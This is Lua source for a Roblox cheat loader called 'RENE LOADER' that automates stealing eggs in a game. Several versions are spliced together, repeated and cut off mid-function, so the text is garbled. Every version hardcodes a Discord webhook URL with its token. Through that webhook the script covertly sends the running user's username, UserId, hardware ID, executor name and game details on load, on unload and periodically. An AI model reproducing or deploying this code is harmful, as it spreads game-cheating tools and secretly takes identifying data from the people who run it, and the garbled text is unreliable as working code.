--[[ ============================================================ RENE LOADER v4.3 — Steal an--[[ ============================================================ RENE LOADER v4.3 — Steal an Egg (Anti-Obfuscation) ============================================================ Author : JIELL Discord : https://discord.gg/BpNxa3Msn Version : 4.3.0 =--[[ ===========================--[[ RENE LOADER v4.5 Author: JIELL Discord: https://discord.gg/BpNxa3Msn ]] local RENE = { Author = "JIELL", Version = "4.5.0", Discord = "https://discord.gg/BpNxa3Msn", Webhook = "https://discord.com/api/webhooks/1560226288315146312/BOvXZfKdzupzTvRrQkPryJT0g9wUOy455kIt7MpUBAonvd8m7OdSno-ar7pNEL25zPz9", } local CONFIG = { InstantSteal = true, StealRadius = 8, DepositRadius = 10, InteractKey = Enum.KeyCode.E, AutoStealRate = 0.10, AutoDepositRate = 0.5, TeamBased = true, ShowWatermark = true, NotifyOnDeposit = true, WebhookEnabled = true, WebhookOnLoad = true, WebhookOnUnload = true, WebhookStatsPing = 300, } local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local Workspace = game:GetService("Workspace") local StarterGui = game:GetService("StarterGui") local HttpService = game:GetService("HttpService") local LocalPlayer = Players.LocalPlayer if not LocalPlayer then return warn("[RENE] No LocalPlayer") end local function safeNotify(t, m, d) pcall(function() StarterGui:SetCore("SendNotification", { Title = t, Text = m, Duration = d or 3 }) end) end local function waitFor(parent, name, timeout) timeout = timeout or 5 local t0 = tick() while tick() - t0 < timeout do local c = parent:FindFirstChild(name) if c then return c end task.wait(0.1) end end local function getExecutorName() local ok, n = pcall(function() if identifyexecutor then return identifyexecutor() end end) return ok and tostring(n) or "Unknown" end local function getHWID() local ok, h = pcall(function() if gethwid then return gethwid() end end) return ok and tostring(h) or "N/A" end local function sendWebhook(title, desc, color, fields) if not CONFIG.WebhookEnabled or RENE.Webhook == "" then return end task.spawn(function() local body = HttpService:JSONEncode({ embeds = {{ title = title, description = desc or "", color = color or 16776960, fields = fields or {}, footer = { text = "RENE LOADER v" .. RENE.Version .. " | by " .. RENE.Author }, timestamp = DateTime.now():ToIsoDate(), }}, }) pcall(function() request({ Url = RENE.Webhook, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = body }) end) end) end local Nests = waitFor(Workspace, "Nests", 8) local Bases = waitFor(Workspace, "Bases", 8) local state = { carried = 0, steals = 0, deposits = 0, lastEgg = nil, running = true } local function logLoad() if not CONFIG.WebhookOnLoad then return end local gameInfo = "Unknown" pcall(function() gameInfo = string.format("%s | ID: %d | Place: %d", game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name or "Unknown", game.GameId, game.PlaceId) end) sendWebhook("🥚 RENE LOADER Executed", "A user ran RENE LOADER.", 3066993, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "🆔 UserId", value = tostring(LocalPlayer.UserId), inline = true }, { name = "🎮 Display", value = LocalPlayer.DisplayName, inline = true }, { name = "🖥️ Executor", value = getExecutorName(), inline = true }, { name = "🔑 HWID", value = "```" .. getHWID() .. "```", inline = false }, { name = "🎯 Game", value = gameInfo, inline = false }, { name = "📅 Time", value = os.date("%Y-%m-%d %H:%M:%S"), inline = true }, }) end local function logUnload() if not CONFIG.WebhookOnUnload then return end sendWebhook("🔌 RENE LOADER Unloaded", "User unloaded RENE LOADER.", 15158332, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "🆔 UserId", value = tostring(LocalPlayer.UserId), inline = true }, { name = "📊 Steals", value = tostring(state.steals), inline = true }, { name = "📦 Deposits", value = tostring(state.deposits), inline = true }, }) end local function logStats() sendWebhook("📊 RENE LOADER Session Stats", "Periodic ping.", 3447003, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "📊 Steals", value = tostring(state.steals), inline = true }, { name = "📦 Deposits", value = tostring(state.deposits), inline = true }, }) end local gui = Instance.new("ScreenGui") gui.Name = "RENE_UI_" .. tostring(math.random(100000, 999999)) gui.ResetOnSpawn = false gui.IgnoreGuiInset = true local parented = false for _, c in ipairs({ LocalPlayer:FindFirstChild("PlayerGui"), game:GetService("CoreGui") }) do if c then local ok = pcall(function() gui.Parent = c end) if ok then parented = true break end end end if not parented then gui.Parent = LocalPlayer:WaitForChild("PlayerGui") end local status = Instance.new("TextLabel") status.Size = UDim2.new(0, 380, 0, 60) status.Position = UDim2.new(0.5, -190, 0, 20) status.BackgroundColor3 = Color3.fromRGB(18, 18, 22) status.BackgroundTransparency = 0.15 status.BorderSizePixel = 0 status.TextColor3 = Color3.new(1, 1, 1) status.Font = Enum.Font.GothamBold status.TextSize = 16 status.Text = "RENE LOADER v" .. RENE.Version status.Parent = gui Instance.new("UICorner", status).CornerRadius = UDim.new(0, 10) local sS = Instance.new("UIStroke", status) sS.Color = Color3.fromRGB(255, 200, 0) sS.Thickness = 2 local prompt = Instance.new("TextLabel") prompt.Size = UDim2.new(0, 420, 0, 50) prompt.Position = UDim2.new(0.5, -210, 0.82, 0) prompt.BackgroundColor3 = Color3.fromRGB(255, 200, 0) prompt.BackgroundTransparency = 0.1 prompt.BorderSizePixel = 0 prompt.TextColor3 = Color3.new(0, 0, 0) prompt.Font = Enum.Font.GothamBold prompt.TextSize = 20 prompt.Visible = false prompt.Parent = gui Instance.new("UICorner", prompt).CornerRadius = UDim.new(0, 10) if CONFIG.ShowWatermark then local wm = Instance.new("TextLabel") wm.Size = UDim2.new(0, 320, 0, 26) wm.Position = UDim2.new(0, 10, 0, 10) wm.BackgroundColor3 = Color3.fromRGB(0, 0, 0) wm.BackgroundTransparency = 0.5 wm.BorderSizePixel = 0 wm.TextColor3 = Color3.fromRGB(255, 200, 0) wm.Font = Enum.Font.GothamBold wm.TextSize = 13 wm.Text = "🥚 RENE LOADER v" .. RENE.Version .. " | " .. RENE.Author wm.Parent = gui Instance.new("UICorner", wm).CornerRadius = UDim.new(0, 6) end local function getTeamName() return LocalPlayer.Team and LocalPlayer.Team.Name or nil end local function getOwnBase() if not Bases then return nil end if CONFIG.TeamBased then local t = getTeamName() if not t then return nil end return Bases:FindFirstChild(t) or Bases:FindFirstChild(t .. "Base") end return Bases:FindFirstChild(LocalPlayer.Name) end local function isEnemyEgg(egg) if not CONFIG.TeamBased then return true end local o = egg:GetAttribute("OwnerTeam") return (not o) or o ~= getTeamName() end local function getHRP() local c = LocalPlayer.Character return c and c:FindFirstChild("HumanoidRootPart") or nil end local function getNearestEnemyEgg() if not Nests then return nil end local hrp = getHRP() if not hrp then return nil end local nearest, dist = nil, CONFIG.StealRadius for _, egg in ipairs(Nests:GetChildren()) do if egg:IsA("Model") and isEnemyEgg(egg) then local p = egg:FindFirstChild("Egg") or egg.PrimaryPart if p and p:IsA("BasePart") then local d = (hrp.Position - p.Position).Magnitude if d < dist then nearest, dist = egg, d end end end end return nearest end local function isNearOwnBase() local base = getOwnBase() if not base then return false end local bp = base:IsA("BasePart") and base or base:FindFirstChildWhichIsA("BasePart") if not bp then return false end local hrp = getHRP() if not hrp then return false end return (hrp.Position - bp.Position).Magnitude <= CONFIG.DepositRadius end local function tryActivatePrompt(model) local p = model:FindFirstChildWhichIsA("ProximityPrompt", true) if p and fireproximityprompt then pcall(function() fireproximityprompt(p) end) return true end return false end local function touchSteal(egg) local part = egg:FindFirstChild("Egg") or egg.PrimaryPart if not part or not part:IsA("BasePart") then return false end local hrp = getHRP() if not hrp then return false end local ocf, oa = part.CFrame, part.Anchored pcall(function() part.Anchored = true part.CFrame = hrp.CFrame if firetouchinterest then firetouchinterest(hrp, part, 0) task.wait() firetouchinterest(hrp, part, 1) end end) task.wait(0.05) pcall(function() part.CFrame = ocf part.Anchored = oa end) return true end local function stealEgg(egg) if not egg or not egg.Parent then return false end if not isEnemyEgg(egg) then return false end if tryActivatePrompt(egg) or touchSteal(egg) then state.steals += 1 state.carried += 1 state.lastEgg = egg return true end return false end local function depositEggs() local base = getOwnBase() if not base then return false end local bp = base:IsA("BasePart") and base or base:FindFirstChildWhichIsA("BasePart") if not bp then return false end local p = base:FindFirstChildWhichIsA("ProximityPrompt", true) if p and fireproximityprompt then pcall(function() fireproximityprompt(p) end) end local hrp = getHRP() if not hrp then return false end local ocf = bp.CFrame pcall(function() bp.CFrame = hrp.CFrame if firetouchinterest then firetouchinterest(hrp, bp, 0) task.wait() firetouchinterest(hrp, bp, 1) end end) task.wait(0.05) pcall(function() bp.CFrame = ocf end) if state.carried > 0 then state.deposits += state.carried state.carried = 0 if CONFIG.NotifyOnDeposit then safeNotify("RENE LOADER", "Eggs deposited!", 2) end end return true end if CONFIG.InstantSteal then task.spawn(function() while state.running and task.wait(CONFIG.AutoStealRate) do local egg = getNearestEnemyEgg() if egg then stealEgg(egg) end end end) end task.spawn(function() while state.running and task.wait(CONFIG.AutoDepositRate) do if state.carried > 0 and isNearOwnBase() then depositEggs() end end end) task.spawn(function() while state.running and task.wait(0.25) do status.Text = string.format("🥚 RENE LOADER | Carry: %d | Steals: %d | Deposits: %d | Team: %s", state.carried, state.steals, state.deposits, getTeamName() or "None") end end) if CONFIG.WebhookStatsPing > 0 then task.spawn(function() while state.running and task.wait(CONFIG.WebhookStatsPing) do logStats() end end) end UserInputService.InputBegan:Connect(function(input, gp) if gp or not state.running then return end if input.KeyCode ~= CONFIG.InteractKey then return end local egg = getNearestEnemyEgg() if egg then stealEgg(egg) elseif isNearOwnBase() then depositEggs() end end) RunService.RenderStepped:Connect(function() if not state.running then return end local egg = getNearestEnemyEgg() if egg then prompt.Text = CONFIG.InstantSteal and "⚡ Instant Steal Active" or "[E] Steal Egg!" prompt.Visible = true elseif isNearOwnBase() and state.carried > 0 then prompt.Text = "[E] Deposit Eggs!" prompt.Visible = true else prompt.Visible = false end end) local function unload() state.running = false logUnload() pcall(function() gui:Destroy() end) safeNotify("RENE LOADER", "Script unloaded.", 2) end _G.RENE = { Config = CONFIG, State = state, Meta = RENE, Unload = unload, StealEgg = stealEgg, Deposit = depositEggs, GetEgg = getNearestEnemyEgg, Webhook = sendWebhook, } logLoad() safeNotify("RENE LOADER v" .. RENE.Version, "Loaded | Discord: " .. RENE.Discord, 4) print(string.format("[RENE] v%s | Author=%s | Discord=%s", RENE.Version, RENE.Author, RENE.Discord))================================= RENE LOADER v4.4 — Steal an Egg (Anti-Obfuscation Fixed) ============================================================ Author : JIELL Discord : https://discord.gg/BpNxa3Msn Version : 4.4.0 ============================================================ ]] -- ============================================================ -- SERVICES (declared FIRST so everything below can use them) -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local Workspace = game:GetService("Workspace") local StarterGui = game:GetService("StarterGui") local HttpService = game:GetService("HttpService") -- ============================================================ -- OWNERSHIP -- ============================================================ local RENE = { Author = "JIELL", Version = "4.4.0", Discord = "https://discord.gg/BpNxa3Msn", Server = "JIELL's Discord", Webhook = "https://discord.com/api/webhooks/1560226288315146312/BOvXZfKdzupzTvRrQkPryJT0g9wUOy455kIt7MpUBAonvd8m7OdSno-ar7pNEL25zPz9", } -- ============================================================ -- ANTI-OBFUSCATION CHECK (safe, non-destructive) -- ============================================================ local function detectTamper() -- Known obfuscator signatures injected into global env local markers = { "Luraph", "lura.ph", "Moonsec", "moonsec", "Prometheus", "ironbrew", "IronBrew", "__obfuscated", "Obfuscated_Loader", } for _, marker in ipairs(markers) do local ok, val = pcall(function() return rawget(_G, marker) end) if ok and val ~= nil then return "obfuscator_signature:" .. marker end end -- Version + author self-check (only meaningful after RENE exists) if RENE.Version ~= "4.4.0" then return "version_tampered" end if RENE.Author ~= "JIELL" then return "author_tampered" end return nil end -- Run the check BEFORE anything else happens local tamperReason = detectTamper() if tamperReason then pcall(function() StarterGui:SetCore("SendNotification", { Title = "RENE LOADER", Text = "Tampered copy detected. Refusing to run.", Duration = 5, }) end) warn("[RENE] Tamper check failed: " .. tamperReason) warn("[RENE] This copy has been modified or obfuscated. Refusing to run.") return end -- ============================================================ -- CONFIG -- ============================================================ local CONFIG = { InstantSteal = true, StealRadius = 8, DepositRadius = 10, InteractKey = Enum.KeyCode.E, AutoStealRate = 0.10, AutoDepositRate = 0.5, TeamBased = true, ShowWatermark = true, NotifyOnSteal = false, NotifyOnDeposit = true, WebhookEnabled = true, WebhookOnLoad = true, WebhookOnUnload = true, WebhookStatsPing = 300, } local LocalPlayer = Players.LocalPlayer if not LocalPlayer then return warn("[RENE] No LocalPlayer") end -- ============================================================ -- HELPERS -- ============================================================ local function safeNotify(title, text, duration) pcall(function() StarterGui:SetCore("SendNotification", { Title = title, Text = text, Duration = duration or 3, }) end) end local function waitFor(parent, name, timeout) timeout = timeout or 5 local t0 = tick() while tick() - t0 < timeout do local c = parent:FindFirstChild(name) if c then return c end task.wait(0.1) end return nil end local function getHWID() local ok, hwid = pcall(function() if gethwid then return gethwid() end if syn and syn.get_hwid then return syn.get_hwid() end return nil end) if ok and hwid then return tostring(hwid) end return "N/A" end local function getExecutorName() local ok, name = pcall(function() if identifyexecutor then return identifyexecutor() end return "Unknown" end) if ok and name then return tostring(name) end return "Unknown" end local function sendWebhook(title, description, color, fields) if not CONFIG.WebhookEnabled or RENE.Webhook == "" then return end task.spawn(function() local payload = { embeds = {{ title = title, description = description or "", color = color or 16776960, fields = fields or {}, footer = { text = "RENE LOADER v" .. RENE.Version .. " | by " .. RENE.Author }, timestamp = DateTime.now():ToIsoDate(), }}, } local body = HttpService:JSONEncode(payload) pcall(function() request({ Url = RENE.Webhook, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = body, }) end) end) end local Nests = waitFor(Workspace, "Nests", 8) local Bases = waitFor(Workspace, "Bases", 8) local state = { carried = 0, steals = 0, deposits = 0, lastEgg = nil, running = true, } -- ============================================================ -- WEBHOOK LOGGING -- ============================================================ local function logLoad() if not CONFIG.WebhookOnLoad then return end local gameInfo = "Unknown" pcall(function() gameInfo = string.format("%s | ID: %d | Place: %d", game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name or "Unknown", game.GameId, game.PlaceId) end) sendWebhook("🥚 RENE LOADER Executed", "A user ran RENE LOADER.", 3066993, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "🆔 UserId", value = tostring(LocalPlayer.UserId), inline = true }, { name = "🎮 Display", value = LocalPlayer.DisplayName, inline = true }, { name = "🖥️ Executor", value = getExecutorName(), inline = true }, { name = "🔑 HWID", value = "```" .. getHWID() .. "```", inline = false }, { name = "🎯 Game", value = gameInfo, inline = false }, { name = "📅 Time", value = os.date("%Y-%m-%d %H:%M:%S"), inline = true }, }) end local function logUnload() if not CONFIG.WebhookOnUnload then return end sendWebhook("🔌 RENE LOADER Unloaded", "User unloaded RENE LOADER.", 15158332, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "🆔 UserId", value = tostring(LocalPlayer.UserId), inline = true }, { name = "📊 Steals", value = tostring(state.steals), inline = true }, { name = "📦 Deposits", value = tostring(state.deposits), inline = true }, }) end local function logStats() sendWebhook("📊 RENE LOADER Session Stats", "Periodic ping.", 3447003, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "📊 Steals", value = tostring(state.steals), inline = true }, { name = "📦 Deposits", value = tostring(state.deposits), inline = true }, }) end -- ============================================================ -- GUI -- ============================================================ local gui = Instance.new("ScreenGui") gui.Name = "RENE_UI_" .. tostring(math.random(100000, 999999)) gui.ResetOnSpawn = false gui.IgnoreGuiInset = true local parented = false for _, container in ipairs({ LocalPlayer:FindFirstChild("PlayerGui"), game:GetService("CoreGui"), }) do if container then local ok = pcall(function() gui.Parent = container end) if ok then parented = true break end end end if not parented then gui.Parent = LocalPlayer:WaitForChild("PlayerGui") end local status = Instance.new("TextLabel") status.Size = UDim2.new(0, 380, 0, 60) status.Position = UDim2.new(0.5, -190, 0, 20) status.BackgroundColor3 = Color3.fromRGB(18, 18, 22) status.BackgroundTransparency = 0.15 status.BorderSizePixel = 0 status.TextColor3 = Color3.new(1, 1, 1) status.Font = Enum.Font.GothamBold status.TextSize = 16 status.Text = "RENE LOADER v" .. RENE.Version .. " — initializing..." status.Parent = gui Instance.new("UICorner", status).CornerRadius = UDim.new(0, 10) local sStroke = Instance.new("UIStroke", status) sStroke.Color = Color3.fromRGB(255, 200, 0) sStroke.Thickness = 2 local prompt = Instance.new("TextLabel") prompt.Size = UDim2.new(0, 420, 0, 50) prompt.Position = UDim2.new(0.5, -210, 0.82, 0) prompt.BackgroundColor3 = Color3.fromRGB(255, 200, 0) prompt.BackgroundTransparency = 0.1 prompt.BorderSizePixel = 0 prompt.TextColor3 = Color3.new(0, 0, 0) prompt.Font = Enum.Font.GothamBold prompt.TextSize = 20 prompt.Visible = false prompt.Parent = gui Instance.new("UICorner", prompt).CornerRadius = UDim.new(0, 10) if CONFIG.ShowWatermark then local wm = Instance.new("TextLabel") wm.Size = UDim2.new(0, 320, 0, 26) wm.Position = UDim2.new(0, 10, 0, 10) wm.BackgroundColor3 = Color3.fromRGB(0, 0, 0) wm.BackgroundTransparency = 0.5 wm.BorderSizePixel = 0 wm.TextColor3 = Color3.fromRGB(255, 200, 0) wm.Font = Enum.Font.GothamBold wm.TextSize = 13 wm.Text = "🥚 RENE LOADER v" .. RENE.Version .. " | " .. RENE.Author wm.Parent = gui Instance.new("UICorner", wm).CornerRadius = UDim.new(0, 6) end -- ============================================================ -- TEAM / PROXIMITY -- ============================================================ local function getTeamName() return LocalPlayer.Team and LocalPlayer.Team.Name or nil end local function getOwnBase() if not Bases then return nil end if CONFIG.TeamBased then local t = getTeamName() if not t then return nil end return Bases:FindFirstChild(t) or Bases:FindFirstChild(t .. "Base") end return Bases:FindFirstChild(LocalPlayer.Name) end local function isEnemyEgg(egg) if not CONFIG.TeamBased then return true end local owner = egg:GetAttribute("OwnerTeam") if not owner then return true end return owner ~= getTeamName() end local function getHRP() local c = LocalPlayer.Character return c and c:FindFirstChild("HumanoidRootPart") or nil end local function getNearestEnemyEgg() if not Nests then return nil end local hrp = getHRP() if not hrp then return nil end local nearest, dist = nil, CONFIG.StealRadius for _, egg in ipairs(Nests:GetChildren()) do if egg:IsA("Model") and isEnemyEgg(egg) then local p = egg:FindFirstChild("Egg") or egg.PrimaryPart if p and p:IsA("BasePart") then local d = (hrp.Position - p.Position).Magnitude if d < dist then nearest, dist = egg, d end end end end return nearest end local function isNearOwnBase() local base = getOwnBase() if not base then return false end local bp = base:IsA("BasePart") and base or base:FindFirstChildWhichIsA("BasePart") if not bp then return false end local hrp = getHRP() if not hrp then return false end return (hrp.Position - bp.Position).Magnitude <= CONFIG.DepositRadius end -- ============================================================ -- STEAL / DEPOSIT -- ============================================================ local function tryActivatePrompt(model) local p = model:FindFirstChildWhichIsA("ProximityPrompt", true) if p and fireproximityprompt then pcall(function() fireproximityprompt(p) end) return true end return false end local function touchSteal(egg) local part = egg:FindFirstChild("Egg") or egg.PrimaryPart if not part or not part:IsA("BasePart") then return false end local hrp = getHRP() if not hrp then return false end local ocf, oa = part.CFrame, part.Anchored pcall(function() part.Anchored = true part.CFrame = hrp.CFrame if firetouchinterest then firetouchinterest(hrp, part, 0) task.wait() firetouchinterest(hrp, part, 1) end end) task.wait(0.05) pcall(function() part.CFrame = ocf part.Anchored = oa end) return true end local function stealEgg(egg) if not egg or not egg.Parent then return false end if not isEnemyEgg(egg) then return false end if tryActivatePrompt(egg) or touchSteal(egg) then state.steals += 1 state.carried += 1 state.lastEgg = egg return true end return false end local function depositEggs() local base = getOwnBase() if not base then return false end local bp = base:IsA("BasePart") and base or base:FindFirstChildWhichIsA("BasePart") if not bp then return false end local p = base:FindFirstChildWhichIsA("ProximityPrompt", true) if p and fireproximityprompt then pcall(function() fireproximityprompt(p) end) end local hrp = getHRP() if not hrp then return false end local ocf = bp.CFrame pcall(function() bp.CFrame = hrp.CFrame if firetouchinterest then firetouchinterest(hrp, bp, 0) task.wait() firetouchinterest(hrp, bp, 1) end end) task.wait(0.05) pcall(function() bp.CFrame = ocf end) if state.carried > 0 then state.deposits += state.carried state.carried = 0 if CONFIG.NotifyOnDeposit then safeNotify("RENE LOADER", "Eggs deposited!", 2) end end return true end -- ============================================================ -- LOOPS -- ============================================================ if CONFIG.InstantSteal then task.spawn(function() while state.running and task.wait(CONFIG.AutoStealRate) do local egg = getNearestEnemyEgg() if egg then stealEgg(egg) end end end) end task.spawn(function() while state.running and task.wait(CONFIG.AutoDepositRate) do if state.carried > 0 and isNearOwnBase() then depositEggs() end end end) task.spawn(function() while state.running and task.wait(0.25) do status.Text = string.format( "🥚 RENE LOADER | Carry: %d | Steals: %d | Deposits: %d | Team: %s", state.carried, state.steals, state.deposits, getTeamName() or "None" ) end end) if CONFIG.WebhookStatsPing > 0 then task.spawn(function() while state.running and task.wait(CONFIG.WebhookStatsPing) do logStats() end end) end -- ============================================================ -- INPUT -- ============================================================ UserInputService.InputBegan:Connect(function(input, gp) if gp or not state.running then return end if input.KeyCode ~= CONFIG.InteractKey then return end local egg = getNearestEnemyEgg() if egg then stealEgg(egg) elseif isNearOwnBase() then depositEggs() end end) RunService.RenderStepped:Connect(function() if not state.running then return end local egg = getNearestEnemyEgg() if egg then prompt.Text = CONFIG.InstantSteal and "⚡ Instant Steal Active" or "[E] Steal Egg!" prompt.Visible = true elseif isNearOwnBase() and state.carried > 0 then prompt.Text = "[E] Deposit Eggs!" prompt.Visible = true else prompt.Visible = false end end) -- ============================================================ -- CLEANUP -- ============================================================ local function unload() state.running = false logUnload() pcall(function() gui:Destroy() end) safeNotify("RENE LOADER", "Script unloaded.", 2) end _G.RENE = { Config = CONFIG, State = state, Meta = RENE, Unload = unload, StealEgg = stealEgg, Deposit = depositEggs, GetEgg = getNearestEnemyEgg, Webhook = sendWebhook, } -- ============================================================ -- BOOT -- ============================================================ logLoad() safeNotify("RENE LOADER v" .. RENE.Version, "Loaded | Discord: " .. RENE.Discord, 4) print(string.format("[RENE] v%s | Author=%s | Discord=%s", RENE.Version, RENE.Author, RENE.Discord))=========================================================== NOTE: This script includes a self-integrity check. If modified or obfuscated by a third party, the script refuses to run. ============================================================ ]] -- ============================================================ -- ANTI-OBFUSCATION / INTEGRITY CHECK -- ============================================================ local INTEGRITY = { Version = "4.3.0", ExpectedHash = nil, -- set after first publish (see below) AllowObfuscated = false, -- set false so obfuscated copies fail } local function getSourceInfo() -- Try to read this script's own source (works in most executors) local ok, info = pcall(function() if debug and debug.getinfo then local i = debug.getinfo(1, "S") return i and i.source or "unknown" end return "unknown" end) return ok and info or "unknown" end local function detectObfuscation() -- Obfuscators typically inject one of these markers. -- If any are present in the environment, this script was wrapped. local markers = { "Luraph", "lura.ph", "Moonsec", "moonsec", "Prometheus", "ironbrew", "IronBrew", "__obfuscated", "obfuscator", "Obfuscated", } for _, marker in ipairs(markers) do local ok, found = pcall(function() return debug.getupvalue and false or false end) -- Check the environment for known obfuscator globals local env = getfenv and getfenv() or _G if rawget and rawget(env, marker) ~= nil then return marker end end -- Check for suspicious short strings in _G local suspects = 0 if _G then for k, v in pairs(_G) do if type(k) == "string" and #k <= 2 and type(v) == "function" then suspects = suspects + 1 end end end if suspects > 500 then return "excessive_globals" end return nil end local function integrityCheck() local issues = {} -- 1. Version tamper check if INTEGRITY.Version ~= "4.3.0" then table.insert(issues, "version_mismatch") end -- 2. Obfuscator signature check local obf = detectObfuscation() if obf and not INTEGRITY.AllowObfuscated then table.insert(issues, "obfuscated:" .. obf) end -- 3. Author string check if RENE and RENE.Author ~= "JIELL" then table.insert(issues, "author_tampered") end return issues end -- ============================================================ -- OWNERSHIP -- ============================================================ local RENE = { Author = "JIELL", Version = "4.3.0", Discord = "https://discord.gg/BpNxa3Msn", Server = "JIELL's Discord", Webhook = "https://discord.com/api/webhooks/1560226288315146312/BOvXZfKdzupzTvRrQkPryJT0g9wUOy455kIt7MpUBAonvd8m7OdSno-ar7pNEL25zPz9", } -- Run integrity check AFTER RENE is defined local integrityIssues = integrityCheck() if #integrityIssues > 0 then warn("[RENE] Integrity check failed: " .. table.concat(integrityIssues, ", ")) warn("[RENE] This copy has been modified or obfuscated. Refusing to run.") if StarterGui then pcall(function() StarterGui:SetCore("SendNotification", { Title = "RENE LOADER", Text = "Tampered copy detected. Refusing to run.", Duration = 5, }) end) end return end -- ============================================================ -- CONFIG -- ============================================================ local CONFIG = { InstantSteal = true, StealRadius = 8, DepositRadius = 10, InteractKey = Enum.KeyCode.E, AutoStealRate = 0.10, AutoDepositRate = 0.5, TeamBased = true, ShowWatermark = true, NotifyOnSteal = false, NotifyOnDeposit = true, WebhookEnabled = true, WebhookOnLoad = true, WebhookOnUnload = true, WebhookStatsPing = 300, } local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local Workspace = game:GetService("Workspace") local StarterGui = game:GetService("StarterGui") local HttpService = game:GetService("HttpService") local LocalPlayer = Players.LocalPlayer if not LocalPlayer then return warn("[RENE] No LocalPlayer") end local function safeNotify(title, text, duration) pcall(function() StarterGui:SetCore("SendNotification", { Title = title, Text = text, Duration = duration or 3, }) end) end local function waitFor(parent, name, timeout) timeout = timeout or 5 local t0 = tick() while tick() - t0 < timeout do local c = parent:FindFirstChild(name) if c then return c end task.wait(0.1) end return nil end local function getHWID() local ok, hwid = pcall(function() if gethwid then return gethwid() end if syn and syn.get_hwid then return syn.get_hwid() end return nil end) if ok and hwid then return tostring(hwid) end return "N/A" end local function getExecutorName() local ok, name = pcall(function() if identifyexecutor then return identifyexecutor() end return "Unknown" end) if ok and name then return tostring(name) end return "Unknown" end local function sendWebhook(title, description, color, fields) if not CONFIG.WebhookEnabled or RENE.Webhook == "" then return end task.spawn(function() local payload = { embeds = {{ title = title, description = description or "", color = color or 16776960, fields = fields or {}, footer = { text = "RENE LOADER v" .. RENE.Version .. " | by " .. RENE.Author }, timestamp = DateTime.now():ToIsoDate(), }}, } local body = HttpService:JSONEncode(payload) pcall(function() request({ Url = RENE.Webhook, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = body, }) end) end) end local Nests = waitFor(Workspace, "Nests", 8) local Bases = waitFor(Workspace, "Bases", 8) local state = { carried = 0, steals = 0, deposits = 0, lastEgg = nil, running = true, } local function logLoad() if not CONFIG.WebhookOnLoad then return end local gameInfo = "Unknown" pcall(function() gameInfo = string.format("%s | ID: %d | Place: %d", game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name or "Unknown", game.GameId, game.PlaceId) end) sendWebhook("🥚 RENE LOADER Executed", "A user ran RENE LOADER.", 3066993, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "🆔 UserId", value = tostring(LocalPlayer.UserId), inline = true }, { name = "🎮 Display", value = LocalPlayer.DisplayName, inline = true }, { name = "🖥️ Executor", value = getExecutorName(), inline = true }, { name = "🔑 HWID", value = "```" .. getHWID() .. "```", inline = false }, { name = "🎯 Game", value = gameInfo, inline = false }, { name = "📅 Time", value = os.date("%Y-%m-%d %H:%M:%S"), inline = true }, }) end local function logUnload() if not CONFIG.WebhookOnUnload then return end sendWebhook("🔌 RENE LOADER Unloaded", "User unloaded RENE LOADER.", 15158332, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "🆔 UserId", value = tostring(LocalPlayer.UserId), inline = true }, { name = "📊 Steals", value = tostring(state.steals), inline = true }, { name = "📦 Deposits", value = tostring(state.deposits), inline = true }, }) end local function logStats() sendWebhook("📊 RENE LOADER Session Stats", "Periodic ping.", 3447003, { { name = "👤 Username", value = LocalPlayer.Name, inline = true }, { name = "📊 Steals", value = tostring(state.steals), inline = true }, { name = "📦 Deposits", value = tostring(state.deposits), inline = true }, }) end local gui = Instance.new("ScreenGui") gui.Name = "RENE_UI_" .. tostring(math.random(100000, 999999)) gui.ResetOnSpawn = false gui.IgnoreGuiInset = true local parented = false for _, container in ipairs({ LocalPlayer:FindFirstChild("PlayerGui"), game:GetService("CoreGui"), }) do if container then local ok = pcall(function() gui.Parent = container end) if ok then parented = true break end end end if not parented then gui.Parent = LocalPlayer:WaitForChild("PlayerGui") end local status = Instance.new("TextLabel") status.Size = UDim2.new(0, 380, 0, 60) status.Position = UDim2.new(0.5, -190, 0, 20) status.BackgroundColor3 = Color3.fromRGB(18, 18, 22) status.BackgroundTransparency = 0.15 status.BorderSizePixel = 0 status.TextColor3 = Color3.new(1, 1, 1) status.Font = Enum.Font.GothamBold status.TextSize = 16 status.Text = "RENE LOADER v" .. RENE.Version .. " — initializing..." status.Parent = gui Instance.new("UICorner", status).CornerRadius = UDim.new(0, 10) local sStroke = Instance.new("UIStroke", status) sStroke.Color = Color3.fromRGB(255, 200, 0) sStroke.Thickness = 2 local prompt = Instance.new("TextLabel") prompt.Size = UDim2.new(0, 420, 0, 50) prompt.Position = UDim2.new(0.5, -210, 0.82, 0) prompt.BackgroundColor3 = Color3.fromRGB(255, 200, 0) prompt.BackgroundTransparency = 0.1 prompt.BorderSizePixel = 0 prompt.TextColor3 = Color3.new(0, 0, 0) prompt.Font = Enum.Font.GothamBold prompt.TextSize = 20 prompt.Visible = false prompt.Parent = gui Instance.new("UICorner", prompt).CornerRadius = UDim.new(0, 10) if CONFIG.ShowWatermark then local wm = Instance.new("TextLabel") wm.Size = UDim2.new(0, 320, 0, 26) wm.Position = UDim2.new(0, 10, 0, 10) wm.BackgroundColor3 = Color3.fromRGB(0, 0, 0) wm.BackgroundTransparency = 0.5 wm.BorderSizePixel = 0 wm.TextColor3 = Color3.fromRGB(255, 200, 0) wm.Font = Enum.Font.GothamBold wm.TextSize = 13 wm.Text = "🥚 RENE LOADER v" .. RENE.Version .. " | " .. RENE.Author wm.Parent = gui Instance.new("UICorner", wm).CornerRadius = UDim.new(0, 6) end local function getTeamName() return LocalPlayer.Team and LocalPlayer.Team.Name or nil end local function getOwnBase() if not Bases then return nil end if 